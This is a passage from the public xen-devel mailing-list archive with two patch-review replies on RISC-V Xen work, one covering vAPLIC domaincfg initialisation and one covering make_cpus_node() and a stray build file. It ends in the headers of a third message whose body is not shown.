Delivery-date: Fri, 10 Jul 2026 15:53:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359581.1613085 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDX8-0007ie-81; Fri, 10 Jul 2026 15:52:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359581.1613085; Fri, 10 Jul 2026 15:52:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDX8-0007iX-4Q; Fri, 10 Jul 2026 15:52:58 +0000
Received: by outflank-mailman (input) for mailman id 1359581;
 Fri, 10 Jul 2026 15:52:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wiDX7-0007iR-0e
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:52:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDX6-006tGO-4c
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:52:56 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a511549-5cb7-0a2a0a5109dd-0a2a4504a1c6-10
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:52:56 +0200
Received: from [209.85.218.42] (helo=mail-ej1-f42.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a511558-b1e5-0a2a45040019-d155da2aed1c-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:52:56 +0200
Received: by mail-ej1-f42.google.com with SMTP id
 a640c23a62f3a-c15cf78d1a2so142852366b.1
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 08:52:56 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c15df03dccfsm319446766b.62.2026.07.10.08.52.54
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 08:52:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783698776; x=1784303576; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=N3SjL0p2uguK5IJ2mOciRbpgXKMzn2xeLTzIps7SUvA=;
        b=OTQtcmdjW6srwmXmwpCEN7ClMzw9GjYcG0tBCRU7mWEcLOwEiUiHrGZkR7AClbGWxX
         0TYXZbj69juFOVia5G7OBGrnYQNtWh45DJga26yw5khaKU9w+jHhfed+irkeUgJFWgPZ
         V+uycfdbAOAuw4wZ1jJvycNAk0oFFFGaI9xbD32YDVSgV4Mr1DOXEYgkt+MVC28KFUSn
         Tb1UmV3uVc0LqrdX43ELHYgihAMKcMDlc0grk5afRw8C8UO+7WLxqY6jQYlGoszuiUvi
         FdMANMV0YddRX4Pp36T9SdaSLh8/gpLDcSq2/DpFk1MPemo3eyM4QrC/pEn2JRXyCG9w
         aTBg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783698776; x=1784303576;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=N3SjL0p2uguK5IJ2mOciRbpgXKMzn2xeLTzIps7SUvA=;
        b=IxGx/w8EFy4wBzcF2cUGCaiYDZfsXRGdW4wOCHWWVhUYKsWRlDRidgIv9g8izXWDPc
         4fBKm4sk0V5pSRU/72a6Xi/RrR0IgBNkK2zzRPE5o+bZJ+HA0V1SWS/u0DZIHMiWrIfZ
         y6fsQcsB5YnLoIM94hXY0qzzRjqTC+wS08fXy6JCvDB+N/FZHpD2RVGsrhZv8dsm/vcA
         erj2QQDNTstyUqRH09sc+EDSRnL7oMBjux1LFVEUX5DB70/liJ/mHn8Q3mt/uw3A+Uo6
         D5TEBVka5/fgvMzu6sN7HU/4b9/sqoUkOXsxS66mdfff/nxZL7xGhfAhnAIThVhDY6Yc
         3zig==
X-Forwarded-Encrypted: i=1; AHgh+RpEGagFSgLBzjff5aDI/pIjycEk9r2IxxcTuTAbyolXS8kcl5XVoQSCtrTZIsLTgMsmjVGUEUDGDqI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwqqWVY+ITdkW8O891CczlWwVP6aCo79GojHK1PZuNQsOfZMNBZ
	xefpDzIH8aEu5h7eNzohpoq0Kr8AP5gXqZSoEU57T8aqoScO5OshEbKw
X-Gm-Gg: AfdE7cneK5+Jwi6iDkmAotAU1MNTNL79RiNy+CgARXG1U6MaTWZQgjs4Y7kfLpkSYVS
	9MvnrjfX5ffR+mFyOy5OagexZQAviP14wk4P0BwDVskkRlzYk5K5ocNc4SEQDkQnlZxnnjb2H+8
	y2ZiA3TtsHT9h8x0DbbSmYKvd5cMLe+j3sX0rVWedF6aJty5mTBnAL8QoJyd8t7TceAX6H/9iOZ
	n22shb4M6689gjYBgq3dWGxDcuy64sECrdDkMKKk+58D09HP8TgmbCWkwB1WzsjtIRCCUZYCoxd
	a51EZvFHrohsP3lP99V9Gn95LK72UmhWT/Kua0HAXT/SJzDVQdI9I0G4aDxkD2knPq3bkd14ST+
	yXOeWxdxYXkZ73V7Emjf0AI/gIj7m5eMIzZoJ/SE9c2gye+eY+lU0eBbXdh6hwtG6C+Su1AZAf3
	ajAvZZSLj73aiZEzV/ICU9EwBdsMved8uiSdIXTaIpkg5sIsH7Y6lDcMDZfZjm3+012J8=
X-Received: by 2002:a17:906:341b:b0:bff:738c:7a64 with SMTP id a640c23a62f3a-c15ce0f2901mr379319966b.49.1783698775535;
        Fri, 10 Jul 2026 08:52:55 -0700 (PDT)
Message-ID: <69d18359-3fae-4618-b46a-ad52bcf1a027@gmail.com>
Date: Fri, 10 Jul 2026 17:52:53 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
 <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1783698776-7EC54FE7-43F8C7DB/10/73395122804
X-purgate-type: spam
X-purgate-size: 2423



On 7/9/26 5:39 PM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> At the current development stage, only domain vINTC init and deinit
>> operations are required, so implement those first.
>>
>> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
>> MSI delivery mode selected as the current solution is exepcted to have
>> always IMSIC, and initialize vintc->ops.
> 
> How would domaincfg be initialized on real hardware? 

Xen will initialize that in aplic_init_hw_interrupts():
writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);

I can see that maybe
> firmware would have to set DM suitably (and you may mean to take firmware's
> role here). 

I don't think that firmware will do that (and OpenSBI for example 
doesn't do that). If firmware can do that we for sure want to control in 
Xen what is written to ->domaincfg.

> But isn't setting at least IE entirely the OSes responsibility?

At least, Linux setups ->domaincfg once at the boot time:

	/* Setup APLIC domaincfg register */
	val = readl(priv->regs + APLIC_DOMAINCFG);
	val |= APLIC_DOMAINCFG_IE;
	if (msi_mode)
		val |= APLIC_DOMAINCFG_DM;
	writel(val, priv->regs + APLIC_DOMAINCFG);
	if (readl(priv->regs + APLIC_DOMAINCFG) != val)
		dev_warn(priv->dev, "unable to write 0x%x in domaincfg\n", val);

And don't touch this register anymore, even for interrupt disablement it 
isn't used.

So Xen can just does once:
writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);

and then just properly handle access of a guest to domaincfg.

> 
>> --- a/xen/arch/riscv/include/asm/aplic.h
>> +++ b/xen/arch/riscv/include/asm/aplic.h
>> @@ -15,6 +15,8 @@
>>   
>>   #include <asm/imsic.h>
>>   
>> +/* domaincfg bits 31:24 are read-only 0x80 */
>> +#define APLIC_DOMAINCFG_RO      (0x80U << 24)
> 
> Bit 7 is also documented as read-only 0. Wouldn't the comment better reflect
> that as well?

Not sure, bits 31:24 are read-only *0x80* but bit 7 is read-only *0*.

> 
>>   #define APLIC_DOMAINCFG_IE      BIT(8, U)
>>   #define APLIC_DOMAINCFG_DM      BIT(2, U)
> 
> Wouldn't you better spell out BE as well?

I can add:
   #define APLIC_DOMAINCFG_BE       BIT(0, U)

But it isn't used at the moment (Linux also defines it but never 
actually using it). Do you want still to add that now?

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:00:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:00:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359595.1613093 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDe6-0001Nq-UJ; Fri, 10 Jul 2026 16:00:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359595.1613093; Fri, 10 Jul 2026 16:00:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDe6-0001Nj-Qm; Fri, 10 Jul 2026 16:00:10 +0000
Received: by outflank-mailman (input) for mailman id 1359595;
 Fri, 10 Jul 2026 16:00:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wiDe5-0001Nd-B3
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:00:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDe3-0019Qt-LX
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:00:07 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5116fa-e002-0a2a0a5209dd-0a2a4509bfe6-28
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:00:07 +0200
Received: from [209.85.208.48] (helo=mail-ed1-f48.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a511707-b440-0a2a45090019-d155d030b15c-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:00:07 +0200
Received: by mail-ed1-f48.google.com with SMTP id
 4fb4d7f45d1cf-6986287534eso2050370a12.3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 09:00:07 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-69bfd7a20e5sm2930271a12.20.2026.07.10.09.00.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 09:00:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783699207; x=1784304007; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=O4ErMFOyLaDsc4TF2Gu+orwNd27puCm7vAERNtExwrg=;
        b=BBHjvSxkofku5zStXDZmLO74JbrQq9nplydPUolRGgKVn3Pi8e/5DrUPc69bfOh2Pe
         5Z65YOswk9TxuXg5330cy1Rh5WFQg02eOeYeTDfxDyxkZAOnljKfDRAI6b8AVLFKqSu8
         +A8+XDSgqQkakG8RPMVc1Iv9TwNRQOs1n0Of+64IQrksHVWC/ba39koHdXtSoCmaHIhL
         SyZCgyIWA3n3XycQLdgcx7hWSBnpPkZEbc3EjmiYKHt4McrBbbwntqm68+K/eCJ78FgX
         7Gaw2U+S/Y58oQFkpmlfdwkWNeX0zI/fuyPhRnTWeEERSXhx7K/LhIutdz+iyPy2AQ0H
         9BiA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783699207; x=1784304007;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=O4ErMFOyLaDsc4TF2Gu+orwNd27puCm7vAERNtExwrg=;
        b=cG7s7EhTS3AzVSxuODbJqkm6djNuKQ+JvW/07EdgUHR+llWYBmnv1xMNjoRVSXCcL3
         ybhYdrMxBKfuTpXacMXT3Pl8iYI7IaKCsfnt1ur9FatzjSswfiMkaWWfCRYeNGtg8vlK
         3WRYEgKTREwWJJbjsv3EyY8NrgM8OfKjQm1rBdTDSuiJDbT3YEflg8x1jzqkhEAjJIlJ
         ezJSoYeM5sxcEn9ee97dS3JmPHqeaqtET9PulXxa1n84XhREo0/bvyQmych6DfccfEBZ
         UejFONmSSNHI4KyyI+X8zLMOLhQdYnozMVrzOOnob9N++CBjgXkxS8h66qruQRBE6SGJ
         Tckw==
X-Forwarded-Encrypted: i=1; AHgh+RoGwq+fWGbROlmXF1W4/m830Fo8Jv9/Pc9CIa0MdevlNp1nJQqff4y+P9FJChqApDEESPxaRnW8hHc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyUIjuMCLN3P/h2ERso+2klOJsL3t+3wfCYfYolVRzJKdXVfpi0
	y0z79pTUOgOxukOwjZtofkXgqZs9vcCrogwFtgskIuBUGGuEkH8/oVxR
X-Gm-Gg: AfdE7cnLIVJ4FgcxFx9CwU7xFokrw6Kd8s3RFTmY3kn6BhTIxBs2rOqbEH0loexQDp4
	q/SSPJTM1BZvhb3Mzruspfdj4bmma0WFIUCAvpOSKae4IN7u9k3rzELGtuzfE8Au4VZ6Bp6d2f3
	yWywRA4CKpUbvT2BZ/x82PGZrlX3DzlLncaLYZyboc0TvcWuGdfolrMyQSnnaHoA6cuLOOpbM6x
	wls0Rjj12JJTol0V5HQUAjNd1EffvE8VXIt8VVCpGmmbvEJNkF2GDq+09/nooP6XmC3XDo7xRCd
	v/qiFrK7dFdo7wHVJbGF+4dX4xjWMyNwfpBDy+O4vw6S7Yd4N1abWJemSb59fiAr7I78UDEEeKo
	Bi6i0V+/31+5V/VcmeOYPUs+BUesWOAUEhRnTmAEkN1s80YUxp1uJCMk/qnH7WE3Bxl/WHJvPjk
	I7B6NtEBr9GJUDDz9yrfOEvbNS3p0yu5QTZpZKx66qCn3qZsAbbCIdBUYNRtgvX+Log7E=
X-Received: by 2002:a17:907:6d06:b0:c16:12b6:243e with SMTP id a640c23a62f3a-c1612b63a39mr59773266b.44.1783699207002;
        Fri, 10 Jul 2026 09:00:07 -0700 (PDT)
Message-ID: <2eb30962-4357-4113-8589-14da7637ebb6@gmail.com>
Date: Fri, 10 Jul 2026 18:00:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 10/26] xen/riscv: implement make_cpus_node()
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <d8e17abcf195ca97056c8ed078ad968f68fa4ca9.1783331040.git.oleksii.kurochko@gmail.com>
 <0c65cc0a-76c6-4ca3-8d39-7f6d82b7f54b@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <0c65cc0a-76c6-4ca3-8d39-7f6d82b7f54b@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783699207-55573A0B-B6F49EFB/10/73395122804
X-purgate-type: spam
X-purgate-size: 2671



On 7/9/26 3:20 PM, Jan Beulich wrote:
> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>> Implement make_cpus_node() to create cpus node for a guest domain.
>>
>> This function is going to be use by common dom0less code during
>> construction domain.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> ---
>> Changes in v5:
>> - Drop Acked-by: Jan Beulich <jbeulich@suse.com> as extra changes were done
>>    because of the changed in prev. patch.
>> - Move isa_str allocation and construction out of arch_domain_create() and
>>    into make_cpus_node() as a local variable, since the string is only
>>    needed during FDT generation. Use a two-call build_guest_isa_str()
>>    pattern (size probe, then fill) with xvmalloc_array, and convert all
>>    post-allocation error returns to goto out so xvfree() runs on every path.
>> ---
>> Changes in v4:
>>   - Update the comment in make_cpus_node() to match code style.
>>   - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
>> ---
>> Changes in v3:
>>   - Add blank line above make_cpus_node() function definition.
>>   - Move 'unsigned int cpu' from function-level declarations into the for loop.
>>   - Drop 'uint32_t reg = cpu_to_fdt32(cpu)'; use fdt_property_cell(fdt, "reg", cpu)
>>     instead of fdt_property(fdt, "reg", &reg, sizeof(reg)) so byte-order adjustment
>>     is handled internally.
>>   - Add matching /* interrupt-controller */ start comment; fix end comment to
>>     /* end interrupt-controller */.
>>   - Update d->arch.guest_isa_str to ->isa_str in make_cpus_node() function.
>> ---
>> Changes in v2:
>>   - s/u32/uint32_t for timebase_frequency local variable.
>>   - Drop +1 from BUILD_BUG_ON().
>>   - return fdt_end_node(fdt); instead of res at the end of the function.
>> ---
>> ---
>>   build/tools/fixdep            | Bin 0 -> 13632 bytes
> 
> There was a stray file in the v4 series iirc. Now there again is a stray file
> in v5. Can you please make sure to take a look yourself before posting a
> series? 

Sorry about that, I will double-check next time.

> Are you doing out-of-tree hypervisor builds, but with a build directory
> within the source repo? There is an entry in .gitignore after all, just for
> xen/tools/fixdep.

No, it should in-tree:
CONTAINER=bookworm-riscv64 ./automation/scripts/containerize make V=1 
XEN_TARGET_ARCH=riscv64 -C xen

Sometime I am doing without CONTAINER when I want to check on my system 
with newer compile version but still I don't use O=, just make ... -C xen.

> 
> With this properly dropped:
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:01:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:01:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359601.1613102 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDeu-0001yx-5s; Fri, 10 Jul 2026 16:01:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359601.1613102; Fri, 10 Jul 2026 16:01:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDeu-0001yq-2J; Fri, 10 Jul 2026 16:01:00 +0000
Received: by outflank-mailman (input) for mailman id 1359601;
 Fri, 10 Jul 2026 16:00:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiDes-0001yg-EV
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:00:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDer-0019lq-RR
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:00:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a511735-e002-0a2a0a5209dd-0a2a4504bc56-16
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:00:57 +0200
Received: from [52.101.46.58]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a511737-b1e5-0a2a45040019-34652e3ae003-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:00:57 +0200
Received: from PH0PR07CA0051.namprd07.prod.outlook.com (2603:10b6:510:e::26)
 by CY5PR12MB6648.namprd12.prod.outlook.com (2603:10b6:930:3e::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Fri, 10 Jul
 2026 16:00:51 +0000
Received: from CY4PEPF0000EE3D.namprd03.prod.outlook.com
 (2603:10b6:510:e:cafe::24) by PH0PR07CA0051.outlook.office365.com
 (2603:10b6:510:e::26) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.14 via Frontend Transport; Fri,
 10 Jul 2026 16:00:51 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000EE3D.mail.protection.outlook.com (10.167.242.15) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 16:00:50 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 11:00:48 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb09.amd.com
 (10.181.42.218) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 09:00:48 -0700
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 11:00:47 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=h6MC3GnVSNIVJqGRjqWxbCReNZ2KweBkm2ckmKd4concKeikGl2lIFfD85a41R+b0bmW866AIXxwqj58/avP9YJzT/Yfxrg2UrR5iiceejedt8/KDrAj1lwCE81kHqejMsvOMtjuk+XbdJZTtLvkH33vHycL8NcFi7BfDH7rfyK2MPtVVrvAo4QTCKI6vVAQoH2XL/hNRHXY3wnUDwd3Wth8sGwZqo02XLSLnoIl5G6isNlgtuvdiKvqIjNDgOo2taZtWX49/V45fKiLMnNZFUeLw+4MteVCR6zs6hfn/Xm++LMvQd2zm18c9nGrX+rAhX9CH2mhoSiNpZBPS8PDbA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=idkJFcyVAbu81VCvo4HugFL/q4vvx0xgtEB1sxXsIv8=;
 b=ZJ6qKDy6kZzREK+PFwVPVzdEcje2UymW2atPnQ2fUsGwlLngAlhR8LJWWWxnVX9pTwpBXAFID0pI+P/stDmxd95lMhaai290R5fqA8Oc4hE/tXrUM3ToqfFD5BWiU9X/Mo3f2DagmDUg/fD5uOI6QprhYhk52yGjBzk/VS9CR7l9U6C7VCPxdsaBq7v++z4gk1SR5ZcvCfqnvgDYmGXKajVFanovgQ7wdPjplElUoWHfxLFWsVHnBqF+YDL1bliO2rJspKHWSgEkSwMmUI9wovsSjvMGXHjIOjz13RYxJHVi4Sh0wefjcTgZm0yhMnhKylA4OV+kX1jOhxb0QmZWqA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=idkJFcyVAbu81VCvo4HugFL/q4vvx0xgtEB1sxXsIv8=;
 b=V6Y99FQLUZOsrQqrRkxXKzI9Nax1tVgSBGIfVquXPHxUD+Yf8fB4HCfkMgTe9ajv8QOkuu4V+rpRC3T+AiXTxNVrxZm8zRoWTtux1blA+jjtqRHQ5x59EWvOKeeZ+7iSG+NQ9bO1lLzaNc4pf8NdcbH+w5hoLrSNiw0tc0zoW0U=
